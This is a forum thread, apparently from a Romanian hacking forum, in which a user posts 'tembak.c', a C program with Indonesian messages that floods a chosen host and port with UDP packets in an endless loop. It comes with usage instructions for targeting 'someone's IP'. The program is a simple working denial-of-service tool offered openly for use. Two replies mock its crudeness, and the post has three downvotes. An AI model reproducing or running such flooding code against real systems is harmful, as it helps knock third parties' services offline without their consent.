Jump to content
Jako

[C] tembak.c DoS

Recommended Posts

Posted
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define UKURAN_PELURU 45

int echo_connect(char *, short);
int echo_connect(char *server, short port)
{
struct sockaddr_in sin;
struct hostent *hp;
int thesock;
printf("\n");
printf("l33nux..!!!! Tembaaaak %s ke port %d\n",
server, port);
hp = gethostbyname(server);
if (hp==NULL) {
printf("Di %s gak ada sasaran, Boss!!\n",server);
printf("\n");
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
thesock = socket(AF_INET, SOCK_DGRAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
return thesock;
}


main(int argc, char **argv)
{
int s;
if(argc != 3)
{
printf("\n");
printf("Kirim Paket ke IP orang\n\n");
printf("Cara Pake : $ tembak hostname.orang port \n\n");
exit(0);
}
s=echo_connect(argv[1], atoi(argv[2]));
for(;;)
{
send(s, JENIS_PELURU, UKURAN_PELURU, 0);
}
}

 

  • Downvote 3
Posted
1 minute ago, aelius said:

UKURAN_PELURU vs packet size. (cica marime glont) Seems legit.

Powered by georgica lam3ru from Indonesia.

:)) ce rai sunteti pe aici...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...